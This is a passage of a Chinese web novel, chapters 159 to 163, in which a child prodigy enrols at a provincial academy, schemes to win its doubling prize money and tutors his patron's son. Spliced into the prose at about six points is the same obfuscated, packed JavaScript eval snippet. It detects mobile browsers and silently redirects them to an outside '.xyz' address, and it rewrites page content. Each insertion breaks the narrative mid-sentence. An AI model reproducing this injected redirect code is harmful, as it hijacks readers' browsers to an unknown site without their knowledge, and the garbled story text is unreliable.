苏静姝脸上挂满了笑容。 她笃定了。 只要儿子在。 她家这日子啊,就差不了! 次日。 方子期带着方仲礼去了省学。 走路过去不到一刻钟,坐大青骡车倒是显得没什么必要了。 这省学之规模比府学要大得多了。 两人刚到省学门口,就见一道朱漆大门赫然矗立! 门楣上悬挂着鎏金匾额,匾额上题字‘省学!’ 在匾额一旁,还题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244306|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一句诗:力学如力耕,勤惰尔自知! 这句话的意思是,这勤奋读书就好比农夫种地!究竟是勤劳还是懒惰唯有自己心中清楚。唯有努力耕种,才会有收获的时候,读书亦然! 这就是一句劝学诗句,强调一份耕耘,一份收获。 气笔迹浑厚遒劲!一看便知是名家手笔。 穿过省学的大门,有专人来询问来意。 当方子期告知来找刘教授后,门童显得客气了许多。 遂带着方子期和方仲礼穿过大门的,来到一片开阔的泮池。 在池上横架着三座石桥,居中一座,约莫丈余。 其上的栏板上雕刻着‘鱼跃龙门’四个大字! 在字体周边,还有青石雕刻的鱼鳞层层叠叠,在阳光的照耀下,泛着异彩。 泮池中的水一览无余、清澈见底! 偶见几尾红鲤摆尾游过,搅动地水面泛起细碎的涟漪。 池边垂柳依依,枝条垂到水面,风一吹便轻轻晃荡,倒为这省学肃穆之地添了几分别样的灵动之意。 此刻正是辰时末,庭院内已有不少学子活动。 有的捧着书卷直接在柳树下诵读。 有的围绕在碑刻前,持笔临摹。 也有的**斋舍门口谈经论道。 倒是别有一番文学气息。 “这省学的读书氛围,倒是比府学…好多了!” 方仲礼忍不住感叹道。 方子期默然颔首,他亦有此感。 滋味顿显。 奇妙无穷。 在这种氛围中读书,哪怕你再有玩心,也会下意识拿起书本的。 读书的环境还是很重要的。 否则就不会有孟母三迁之说了。 若是你周边的同窗整日想着勾栏听曲,你独自一人如何能够安心苦读经书? 反之……若是你周边同窗皆是苦读之人,你哪有什么心思独自去勾栏听曲呢? “刘教授。” “此二人寻你。” 门童将方子期和方仲礼带到刘青芝面前就离开了。 方子期抬头看了一眼这位省学教授刘青芝。 看着岁数已很大了,估摸着已经到了知天命之年。 周身上下散发着一股不怒自威的气场。 不像是教书育人的夫子,反倒更像杀伐果断的政客。 第159章 书中自有黄金屋!家产翻倍靠读书! “刘教授。” “学生方子期,这是我爹方仲礼!” “受柳学政引荐,特来省学求学。” 方子期恭敬行礼道。 刘青芝点了点头,倒是没直接开口,只是打开信函扫了一眼。 “既是学政大人作保。” “自当没问题。” “只是没几日,省学就要休沐了。” “等来年开春才会继续开学。” “今日你们且先登记一下吧!” “待明年开春,再来读书。” 刘青芝叮嘱道。 随即扫了一眼方子期和方仲礼。 目光尤其在方子期身上多留意了一眼。 “你来自宁江府?” 刘青芝突然道。 “是!教授!学生的确来自宁江府。” “教授…认识学生?” 方子期略显好奇道。 “呵呵!” “八岁的院试案首…谁人不识?” 刘青芝淡然笑了笑。 虽说每个府每年都会诞生一位院试案首,汉江省六府之地,每年都会诞生六位院试案首。 但是八岁的院试案首还是很有噱头的。 “少有宿慧、天资聪颖是好事!” “但读书之路,贵在坚持。” “学如逆水行舟,不进则退!” “你可要谨记才是!” “父子二人,同堂读书,倒也是一桩佳话。” “你们且去吧!” “老莫。” 刘青芝挥挥手,随即一个仆役打扮的老者走了过来,引着方子期和方仲礼游览了一番省学。 “省学每年束脩五两银子。” “若是要住宿,每个月额外再加三百文。” “还有…省学内就有食堂,想吃什么自己点就行了。” “省学内。” “分天地玄黄四个等级的班。” “天字号班等级最高,黄字号班等级最低!” “按照规定,所有刚入学的秀才,都要从黄班开始读书。” “每月有月考一次。” “黄班中,月考成绩前三者,可升到玄班中。” “玄班中,月考成绩倒数前三者,需掉落到黄班中。” “天班和地班亦遵循此等规则!” “听明白了吗?” “如果没听明白,我还可再复述一遍。” 老莫看着方子期,这么小的省学学员他也是第一次见,此刻不由得多了些耐心。 “莫老。” “不知这天地玄黄四个等级班各有几个?每个班约莫多少人?” 方子期闲谈道。 “黄字号班有四个,能入黄字号班学习的,皆是秀才,不过廪生占比不多,大多数普通秀才。” “玄字号班有三个,能入玄字号班的,基本上都是廪生了。” “地字号班有两个,清一色都是廪生,甚至还有小部分有着举人功名的学员!” “至于天班……” 老莫说到此处,刻意顿了顿。 “天班中,大部分学员都是有举人功名的,当然其中也有小部分秀才,但是天班学员,无一例外,皆是才华横溢者!” “天班目前由主人亲自授课!” 老莫解释道。 老莫口中的主人,自然就是省学的教授刘青芝了。 这省学教授可是有正儿八经的六品官身的,掌控整个省学之教学,身份清贵。 其实府学教授也是有正七品官身的,之前宁江府的那位章宗儒教授不知为何只有个从九品的头衔。 至于县学的主导者就是教谕了,正八品官身。 这天班既然能让刘青芝这样的二甲进士、正六品省学教授负责教学,由此可见对其重视程度。 方子期心中默然一叹…… 这省学的教育资源确实不是府学能够媲美的。 这差的,不是一星半点。 “另外……” “每个班定额是三十人。” “但是也不一定,毕竟每年的学员亦不是定数。” “每年都有不少拿着按察使大人、巡抚大人、布政使大人或是学政大人的牌子或举荐信来入学的。” 老莫解释道。 说到此处。 方仲礼有些脸红。 他感觉自己也像是走后门进来的。 至于方子期,那就无所谓了。 因为这省学之所以能存在,不就是为了给那些高官大开方便之门的吗? “莫老,不知这每月的月考前几名,有奖励吗?” 方子期突然回忆起在府学的那段日子。 每个月可都是能领十两银子的奖励回家的。 “嗯!这个倒是有。” “不同等级的班,奖励不一。” “天字号班的前三名,各奖励百两纹银、五十两纹银和二十两纹银!” “地字号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244307|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班的前三名,各奖励五十两纹银、三十两纹银和十两纹银。” “玄字号班的前三名,各奖励三十两纹银、十五两纹银和五两纹银。” “黄字号班的前三名,各奖励十五两纹银、八两纹银和三两纹银!” “另外……” “省学还有一个固定。” “若是连续两月拿到银钱奖励者,则当月银钱奖励翻一倍!” “也就是说若是你第一个月在黄字号班拿到了第一名的十五两纹银。” “然后因为得了黄字号的前三名,所以成功晋升玄字号班,然后你若是能够在下次月考中再度夺得玄字号班的前三名,那么本月获得的银钱奖励将翻倍,譬如玄字号班第一名原本奖励三十两纹银,现在就奖励六十两了。” 老莫默默提点了一句。 “哦?” “还有这等好事?” “莫老,那要是第三个月,我又在地字号班的月考中夺得第一名了呢?那这第一名的五十两纹银是按照翻一倍算,还是按照翻两倍算?” 方子期重点在这里。 毕竟按照规则,每晋升一次,而且还能连拿奖励者,当月奖励翻倍…… 这翻倍能保留到下一次吗? 翻一倍就是双倍,翻两倍就是四倍,差距可是不小的。 听到方子期的询问,老莫深深地看了一眼方子期。 “据我所知……” “省学开到现今,也就唯有一人能在前三月连拿名次奖励!” “当时第三个月拿到的银钱奖励是按照四倍算的。” “方小相公。” “我劝你还是不要想这么多了。” “连拿两次月考奖励者,都少之又少。” “年轻人,还是脚踏实地些好!” 老莫默默提醒道。 “多谢莫老提醒!” 方子期点点头,随即再度询问道:“所以莫老,若是我第四个月成功拿到了天字号班的第一名,奖励百两纹银,那按照翻倍规则,是不是要翻三倍?也就是八倍奖励……该给我八百两纹银?” 方子期询问此事的时候,显得很认真,非常认真! 这八百两银子可不是个小数字了。 差不多相当于他家资产的总和了! 这可是一次家产翻倍的绝佳良机啊! 这省学,是真没白来啊! 老莫:“……” 第160章 奋战四月,直升天班 老莫无奈叹气。 合着我刚才那些话白说了? “方小相公。” “现在还是白昼呢!” 老莫摇头道。 意思是让方子期别做白日梦了。 “这天字号班大多都是举人,那小部分秀才也皆是学问极好的天之骄子,基本上算是下次乡试必中的那一小撮了……” “别说天字号班了,哪怕是地字号班,都是有小部分举人的,所以啊,月考前三名,可不是那么容易得的。” “方小相公。” “咱们努努力。” “争取一鼓作气拿下玄字号班的前三名就好了!” “那也很厉害了。” “方小相公若是在省学安生读个几年书,今后定是能晋升到天字号班的!” 老莫在一旁赞誉道。 毕竟八岁就已经是秀才了啊!如此聪颖,好好读个几年书,定是天班之资。 “嗯!好!” “那就借莫老吉言了。” 方子期随口敷衍道。 此刻他的脑子已经被天字号班的八倍奖励和八百两银子给吸引了。 这可是家产翻倍的机会啊…… 他娘现在没日没夜地发芽菜,就这,每天净赚也就一两多点。 八百两,需要他娘还有虎叔一大家子没日没夜地发芽菜发两年…… 但是这芽菜的买卖还不知道能撑几个月呢! 八百两纹银! 家产翻倍大计划! 等出了省学,领取了属于省学学生的身份牌后,方子期一脸郑重地看向方仲礼。 “爹!” “好好读书!” “待明年开春,咱们父子闯荡省学,争取四个月,直升天班!” “到时候将翻倍奖励全拿了!” “爹!” “我算了一下。” “第一个月,黄字号班第一名奖励十五两纹银。” “第二个月,玄字号班第一名奖励三十两纹银,翻一倍就是六十两纹银!” “第三个月,地字号班第一名奖励五十两纹银,翻两倍那就是二百两纹银!” “第四个月,天字号班第一名奖励一百两纹银,翻三倍就是八百两纹银!” “也就是说,只要将四个月的月考第一名奖励拿满!” “就能拿到一千零七十五两银子!” “爹!” “一千多两银子啊!” “如果光是支付咱们家那个一进院的租金,能支付十多年了!” “当然了,这么多银子,完全可以在城南买个一进院了!” “爹!” “动心吗?” 方子期笑道。 “动心当然动心。” “但……” “爹不配。” “子期,你没听那莫老说吗?地字号班就有举人学员了!” “天字号班更是遍布举人。” “爹…爹的学问爹知道!” “能在黄字号班混混就不错了。” 方仲礼老脸一红,怪丢人的。 “爹!” “我方家男儿岂可如此没有斗志?” “战斗起来!” “从明日开始!” “拉上周夫子!” “一起奋力读书!” “拿出当初备战院试的劲头来!” “为了一千两银子而努力读书!” “为了家产翻倍而奋力一搏!” “爹!” “你可以的!” 方子期鼓励道。 他的目标是第一名。 四个月的第一名。 至于第二名第三名…… 他想着让他爹捡捡漏也是可以的。 等回到家。 方子期将省学的月考规则简单一说…… 顿时…… 苏静姝一双眸子就亮了。 “子期!” “你说的是真的?你没糊弄娘吧?” “当真考考试,就能拿到一千多两银子?” “子期!” “读书好啊!这书得读啊!” “子期!” “孩子他爹!” “从明天开始!” “家里的活儿你们不用干了!” “一切有我和大丫她们呢!” “你们就负责读书!好好读书!读好书!” “这算起来,读书可比发芽菜赚钱多了啊!” “怪不得都想着要读书!” 苏静姝美滋滋的,双目中已经只有银子的形状了。 “汪!” “汪汪汪!” 阿黄感受到家里热闹的气氛,忍不住嗷嗷叫唤了几声。 “旺!” “对!” “咱方家!” “要旺起来了!” “都旺起来!” “子期!” “娘去给你们做饭!” “今日娘特地去买了一个大猪蹄回来,回头给你们做个红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244308|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧猪蹄……” 苏静姝此刻已经完全被一千多两银子的惊喜给包裹了。 一整天,脸上都挂着笑容。 发芽菜的时候,甚至还忍不住哼唱起来。 下午的时候。 方子期和方仲礼就正式进入学习状态了。 不说头悬梁锥刺股,但是这精神头肯定是要拿出来了。 虽然现在方子期和方仲礼还没有正式入省学,但是已经办了身份牌,就可以随时在省学的书阁中借阅书籍了。 按照省学的规定,每人每天可以借阅十本书。 就光是这一点,就比府学好多了。 府学每人每天只准借阅三本书,实在是太小家子气了! 第二天。 方砚秋也来到了方子期家,在正堂,跟着大家一起读书。 读书很多时候还是要讲究个气氛的。 “咱们的科考小分队…又聚在一起了。” “嗯!” “现在就差个允谦兄了。” “也不知道允谦兄现在如何了……” “一直也没个消息。” 方子期此刻忍不住思念起旧友来。 每次花允谦过来的时候,总喜欢同他谈论一些国家大事…… 若是现在花允谦在此,每日定是要同方子期好好洽谈一下叛军和左骑军的对决,亦或是储位之争进行到了哪一步,诸如此类。 “夫子不是说他从禾阳县出来之前,花县令已经带着允谦兄离开了吗?” “想必是去了花县令下一个任职的地方了。” “可惜不知道花县令下一个任职的地方在哪,否则还能去寻允谦兄……” “不过按照允谦兄的性格,若是有了安稳的落脚点,定是要来省城寻我们的。” “总有再见到的机会。” 方砚秋强行打起精神道。 “但愿如此吧……” “砚秋兄,方夫子的身体还好吧?” “倒是许多日子不曾去看望夫子了。” “过几日,我让我娘做些红烧肉,我带些过去给夫子尝尝。” 方子期笑着道。 “子期,你若要去,我爷爷定是十分高兴的。” “现在他闲来无事,总喜欢向隔壁邻居吹嘘他教出了个神童!” “现在我爷爷张口闭口都是子期你,我这个孙子倒像是捡来的了!” 方砚秋两手一摊,苦笑道。 第161章 吾儿亦有进士之资 两日后。 方子期先带着些红烧肉和卤肉去拜访了方夫子。 随即又带着剩下的红烧肉和卤肉来到柳府。 人与人之间的关系是要靠多交往来维系的。 远亲不如近邻,说的就是这个道理。 一年半载都联系不到几次,纵是亲兄弟姐妹,关系也必定黯淡。 来到柳府后,最高兴的是柳允昭。 因为又有人陪他玩了。 虽说方子期是来陪他读书的。 但是他一个人读书和方子期陪着一起读书的感觉还是不一样的。 最重要的是! 方子期每次来,都会带来那美味的红烧肉和卤肉! 天知道他每天有多馋这一口! 若非家教实在太严,他都想冲去方家蹭饭了。 “子期兄。” “这书…到底有什么意思?” “你怎么看得津津有味的?” “你可真是个怪胎!” “怎么还没到午食的时间啊!” 柳允昭趴在书桌上,一脸的百无聊赖。 “允昭!” “既然改变不了必须要读书的命运,那既来之则安之。” “干脆享受读书的时光吧!” “你越抗拒,这时间过得就越慢。” “反之。” “你若是沉浸其中,说不定还会有一些其他乐趣呢!” “至少下次你爹考教你学问的时候,看到你的学业进步,还能多夸你几句。” “到时候你再借机提出要出去玩,想必你爹也会欣然接受了。” “你不要觉得你是在看书。” “你就将这书看成是红烧肉好了。” “或者,将其当成是你要捕猎的兔子。” “你捕猎兔子的时候尚且有耐心,这读书都是一样的道理。” 方子期劝学道。 效果不效果的**,至少能让着柳允昭稍微消停点。 “啊?” “还能这样吗?” “这抓兔子多好玩,这读书多枯燥,两者哪能混为一谈啊!” “更何况!我可不想参加科举!” “我立志要成为领兵一方的大将军!那多霸气!” 柳允昭昂着头,兴致盎然道。 “那你就更要读书了。” “若是你不读书,你充其量只能当个大头兵,冲锋陷阵的那种。” “可你若是想成为大将军,想要运筹帷幄之中,决胜千里之外!就需要读大量的兵书!” “而现在你所学习的《三字经》、《百家姓》、《神童诗》这些,都是基础!” “若是连基础都打不好,将来兵书放在你眼前,你连看都看不懂,还怎么当大将军!” “允昭!” “你也不希望被人笑话是那种目不识丁的草包将军吧?” “你也不想因为看不懂兵书,老打败仗吧?” “你也不想因为没读书,连当将军的资格都被直接剥夺了吧?” 方子期抬起头,一板一眼道。 小孩子能有什么乱七八糟的坏心眼呢? 就是崇尚英雄人物,就是想当个大将军…… 那就顺着他的话说下去就是了。 这叫引导式教学。 当然,若是这些话是柳大宗师对着柳允昭说的,他定是听不进去的。 儿子对老子,大多数天生就有一种逆反心理。 但是方子期同柳允昭同岁,所以方子期说的话,会被柳允昭下意识地奉为圭臬。 “啊?” “我要读书!” “子期兄!” “读了书,就真能当大将军了吗?” 柳允昭一脸紧张道。 “读了书,就有了当大将军的资格。” “不读书你一辈子都不可能当大将军!” 方子期一脸正色道。 柳允昭咬咬牙,小脸上露出坚定之色。 他要读书! 好好读书! 谁也不能拦着他当大将军! 先搞定了柳允昭的学习意向,也就是为什么而学,学习的最终目标是什么…… 这些搞定了之后。 再穿插一些有趣的学习方式。 至少不是那种读死书。 一时间。 柳允昭消停多了。 拿着书,按照方子期传授的学习方法,他感觉这读书学习也没那么困难啊! 中午时分。 柳承嗣回到家。 第一时间就来到了小学堂。 这是他每日回家必做的一件事情,那就是检查自己那孽子是否用心读书。 虽每次见到那孽子双目无神、三心二意地在那发呆,他就很生气。 但…… 若是他不加以管束,这孽子恐怕就真的彻底放飞自我了。 今日来到小学堂前。 柳承嗣已经率先摆出了作为严父的愤怒神色,准备寻机好好训斥一下那个孽子。 但是走到小学堂旁。 他听到了什么? 郎朗的读书声? 他儿子那边传来的? “袁闳土室,羊侃水斋……” “敬之说好,郭讷言佳……” …… 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244309|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿子朗声读的是《龙文鞭影》的内容。 读书声甚是洪亮,不似作假。 “他可是刚刚才开始读的?” “故意在我面前表现?” 柳承嗣看向管家王贵询问道。 “老爷,这您就冤枉小少爷了。” “小少爷已经读书差不多一个时辰了。” “今日读书甚是用功呢!” “要我说,那方小相公是真有办法。” “他一来,小少爷都乐意读书了。” 管家王贵忍不住凑上前一脸喜色道。 “哦?” “子期来了?” 柳承嗣嘴角含笑。 不知道为什么,对自己这个学生,他总有一种莫名的喜爱。 或是因为他也希望自己能有个如方子期这般的儿子吧。 “是的老爷,方小相公一大早就来了,一直陪着少爷在读书。” 王贵连忙点头道。 柳承嗣点点头,随即迈步走入小学堂。 看着自家那幼子因读书而小脸涨红的样子,心中既有惊喜又有一丝心疼。 “爹!” 柳允昭率先叫了一声。 “老师。” 方子期躬身行礼道。 “子期。” “不必客气。” “也就你能看住这混小子了。” 柳承嗣满脸笑容道。 随即看向柳允昭的时候,柳承嗣脸上的笑容瞬间敛去。 “你既学了《龙文鞭影》!” “今日为父就考教你《龙文鞭影》的内容部吧!” “傲倪昭谏,茂异简言!” “后一句!” 柳承嗣摆出严父的派头来。 柳允昭嘴角一扬,故作随意道:“金书梦玨,纱护卜藩。” …… “初平起石,左慈掷杯。” “名高麟阁,功显云台!” …… “庄生蝴蝶,吕祖邯郸。” “谢安折屐,贡禹弹冠。” …… 面对柳承嗣的考教,柳允昭都能一一作答。 柳承嗣眼眸中露出惊喜之色,但是很快就压下去了。 “嗯!” “还不错。” “以后要继续努力!” “先去吃饭吧!” 柳承嗣此刻虽然脸上不动声色。 心中却早已欣喜若狂! 我儿…居然如此聪颖? 以往都是那些夫子无用!不知因材施教!耽误了我儿! 我儿亦有进士之资! 一想到此处。 柳承嗣看向方子期的目光就显得更和蔼了。 第162章 砚秋兄,礼部尚书的位置留给你了 “我竟不知,子期亦有良师之资!” “子期!” “辛苦了!” “调教我这孽子,想必极为操劳吧?” 柳承嗣一脸欣赏道。 “老师言重了。” “允昭天赋异禀,学生只是稍加指引。” “允昭之才,传承于老师,天资自当绝佳。” “学生岂敢居功?” 方子期一脸谦逊道。 你来我往的。 要证明自己有价值。 这关系才能更牢靠。 否则光靠着名义上的师生之名,不顶用的。 他同柳承嗣之间的关系和同周夫子之间的关系差别大了。 周夫子、方夫子对于方子期而言,如师如父,关系早就夯实了。 但是他同这位柳大宗师之间,阶级相差太大了些。 想要拉近彼此之间的关系,除了要证明自己的天资之外,更要表明我有一颗拳拳报答之心。 否则人家门生故吏那么多,凭啥要培养你? 今日的饭桌上,柳承嗣因为高兴,忍不住多吃了一碗饭。 至于方子期带来的那碗红烧肉…… 嗯! 是最先被扫荡光的。 方子期天天在家吃,对红烧肉已经没太大感觉了,所以都懒得动筷子。 但是柳家人只当这是个稀罕物啊! 如此美味,哪怕是那位柳夫人都不能免俗。 也是因为这红烧肉的缘故,这位柳夫人对方子期的态度都极好。 再加上听老爷说,因子期陪着允昭读书,这允昭读书都开始用功了。 一时间,柳夫人彻底喜欢上了这个同她儿子同岁的小子期! “子期!” “莫要拘束!” “快些吃!” “我让后厨给你做了些糕点,回头你带回家给你爹娘。” “总不能总是吃你家的东西!” “还有前些日子多买了一匹妆花锦,回头带回家给你娘,做件衣裳也是好的。” 柳夫人一脸慈善地对方子期道。 “多谢夫人。” “这太让夫人破费了!“ “学生愧不敢当。” 方子期小小地推辞了一下。 “子期!” “既是夫人的心意,你就收下吧!” “长者赐,不可辞!” 柳承嗣在一旁提点道。 “是……老师!” “多谢夫人恩赐!” 方子期连忙道谢。 下午方子期在请教完柳承嗣一些学问上的问题后,就带着两大盒糕点和一匹妆花锦出了柳府。 “子期!” “这里!” 方虎对着方子期招呼了一声,随即就看到了方子期手中的东西。 “柳夫人给的。” “据说这糕点很不错。” “虎叔,等回家可得好好尝一尝。” 方子期笑着道。 “柳夫人?” “学政夫人赐的糕点!那自然是极好的!” “你虎叔这嘴糙得很,吃这东西,太糟践东西了!” 方虎连忙摇头道。 “虎叔,你这说得什么话?” “你将来可是要当将军的人!” “以后那是要吃圣宴的!” “这些许糕点怎么不能吃了?” 方子期故作深沉道。 “你这孩子……又拿你虎叔打趣!” 方虎一边驾着骡子车,一边在一旁嘟囔道。 回到家。 苏静姝见到这两大盒精致的糕点,一时间慌了神。 “这…这柳夫人有心了!” “还特地给我们准备糕点!” “我们要如何回报才好啊!” “我听说这些大户人家的糕点,用料极讲究!” “这一盒糕点怕不是都要好几两银子吧?” “咱们送去的那些红烧肉可不值这么多银子啊!” 苏静姝手忙脚乱的,同方仲礼一样,第一时间就想着报恩…… “娘!” “这匹布也是柳夫人给的。” “说是她之前买多了。” “您拿去给姐姐们做几件衣服吧!” “我看这料子还不错,上面还有纹样图案呢!姐姐们穿着定然好看。” 方子期将布匹递过去。 “这么好的布……” “怎么上面就绣了花呢!不然还能给子期你做几件衣服……” 苏静姝忍不住有些遗憾。 “也不知这么好的布,要几两银子一匹!” “现在这年代,什么东西都贵,白棉布都涨价到好几钱银子一匹了。” “这么好的布,怕是没有三五两银子是买不到的!” 苏静姝忍不住感叹道。 这个时候。 方仲礼和周夫子也走了过来。 “这布匹……” “貌似是妆花锦啊!” “我好像在清如那见过一次。” 周夫子嘟囔了一声道。 “是!” “好像就叫妆花锦!” “当时柳夫人特地说了。” 方子期点点头道。 “若是妆花锦……这价格可就不是几两银子的事了……” “据我所知,最便宜的妆花锦,都要五十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244310|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两银子一匹,现在这物价节节攀升,可能还不止了。” “而这妆花锦可比我之前在清如那里见到的好得多……” “恐怕没个一两百两银子拿不下啊。” 周夫子摇摇头,默默在一旁道。 方家众人:“……” 原地受到了惊吓。 “多…多少?” “一…一两百两银子?” “一匹布?” “这布难不成还是金丝勾芡的啊!” 苏静姝忍不住惊叫道。 “反正妆花锦就这个价。” “回头也可以拿去布庄问问价。” “不过既是学政夫人送出来的布,一两百两银子倒也正常。” “太便宜的,怕是也送不出手。” “子期!” “看来你在大宗师那里颇受重视!” “连柳夫人都对你青眼相待。” “今日大宗师可曾教学于你?” 周夫子抬起头,脸上露出激动之色。 他不能亲自感受大宗师的教导,这确实很遗憾。 但是方子期的记忆力极好,由方子期转述大宗师的教导之言也是一样的。 “确有教学。” “夫子!” “爹!” “去我房间!” “我细细同你们说!” “你们带好纸笔。” “做好笔记。” 方子期招招手,周夫子和方仲礼连忙跟上。 方砚秋站在一旁,略有拘束。 “砚秋兄,一起走啊!” 方子期抓住方砚秋的肩膀笑着道。 “这……” “大宗师的那般高深的学问,我能听得进去吗?” “我还只是个童生……” 方砚秋红着脸道,他很想说,我不配啊! “砚秋!” “你这说得什么话!” “你的学问可比我好!” “你要是都不配听,那我岂不是更没资格了?” 方仲礼当即走上前道。 他这族侄什么都好,就是有时候心思太敏感细腻了。 时不时的,还有些小自卑。 “方叔,那如何能一样,您是秀才……” 方砚秋的脸更红了。 方子期此刻懒得扯太多。 直接拉上方砚秋就朝着房间去! “砚秋兄!” “什么童生不童生的!” “我都想好了!” “他日我若功成名就!” “虎叔当将军!” “我爹去刑部!” “夫子去吏部!” “礼部尚书的位子,就给你了!” 第163章 方子期:初为人师,多多指教 少年之言。 何其热血? 激情澎湃! “汪汪汪!” 正当此时! 阿黄带着宝贝儿子吉祥小跑了进来。 似是在说:主人,我和我儿进哪一部好? 大家都想进步啊! “子期,你这……” “倒是志向远大!” 周夫子酝酿良久,最终也只能用一个‘志向远大’来形容了。 我这学生,当真恐怖如斯…… 你爹去刑部,我去吏部,砚秋去礼部,方虎去当将军…… 难不成你你还想将你家的狗…也安排进兵部当狗王? 那你…当什么? 周夫子哑然失笑。 此刻他倒是没想太多。 这些,不过只是一个稚子的随意一说罢了…… 这又怎么可能真的实现呢? 方子期带着众人来到左厢房内。 将今日柳大宗师所教学的内容一字不差地复述了一遍。 众人手持毛笔,唰唰唰地开始记录,不敢有丝毫懈怠。 其中尤以周夫子最认真。 “子期!” “这句‘父母在,不远游,游必有方’中的‘不远游’是应该以‘孝亲’为核心还是以‘守道’为根本?” “这士人远游求仕,能否算是‘游必有方’?” “不知大宗师对此,是何解?” 周夫子抬起头,眼眸中流露出对知识的无限渴求! 四十来岁! 更是努力读书的好时候啊! “夫子!” “按照大宗师所言,‘孝亲’才是核心!” “孔子所言的‘不远游’,其实初衷是害怕父母无人照料,失却了晨昏定省之礼!” “然‘游必有方’中的‘方’字,不仅仅指的是‘方向’,更暗含‘正当目的’和相应的‘安顿之法’!” “所谓的士人远游求仕,其实就是为了去践行“修身齐家治国平天下”之儒家大道!” “如若在践行道义的同时,还能常常寄家书以报平安,托亲友照拂父母!” “那就不算违逆‘不远游’之根本宗旨!” “昔日有大儒年少游学,仍旧常遣人归家问父母安!” “如此终成大儒!” “这才是‘游必有方’的典范!” 方子期对于周夫子提出的问题,一一作答。 “夫子!” “可还有问题?” “尽可详问!” “爹!” “还有何处经义不懂?快些道来!” “砚秋!你怎么一言不发?” 方子期背负双手,此刻俨然一副为师者的姿态。 看着眼前自己的三位临时‘学生’,方子期亦体会到了为师者的乐趣。 看着自己的‘学生’们在那里抓耳挠腮,但是经过自己的讲解露出恍然大悟之表情,方子期亦心生快意。 等授课完毕。 方子期忍不住点评道:“此次学习中,周夫子学习最认真,问询最勤快,知识点掌握地最牢固!” “至于爹你嘛……马马虎虎,还需将这些笔记好好熟悉一番!不可轻言吃透!绝不可知其然而不知所以然!如若这般,这课就白上了!” “至于砚秋兄!” “你啊!” “上课时别分心!一副心事重重的样子,如何能够做好学问?” 方子期因材施教,一一点拨。 三人接连点头称是。 当然。 方子期当老师的时间还是很短暂的,等将柳大宗师传授的知识教导完毕后,周夫子又开始继续给他们上课、批改文章。 日子一天天地过去…… 方子期前往柳府伴读和请教的频率也越发地频繁了。 所带回来的那些大宗师的知识,也让周夫子等人有一种醍醐灌顶之感! “夫子,要不然下次我同大宗师说一声,到时候你同我一起去找他讨教学问?” “夫子您是汉江省的生员,也算是大宗师名义上的学生……” 方子期提议道。 周夫子犹豫良久,还是摇了摇头。 “子期。” “大宗师相中的是你这个人。” “我与大宗师素未谋面,冒然前往,殊为不智。” “况且子期你每次从大宗师府带回来的知识足够我用了。” “贪多嚼不烂!” “子期!” “起先巩礼将你托付给我,我只当是运气好捡了一位天才学生,足让我后半生能以此为谈资了。” “谁承想,最终我教授你之知识有限,反倒是子期你…频频助我提升学问!” “哎!” “为师汗颜啊!” “为师后年的乡试若真能中榜,皆仰赖于子期之功!” “子期若不嫌为师学问粗陋,为师愿一直追随于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 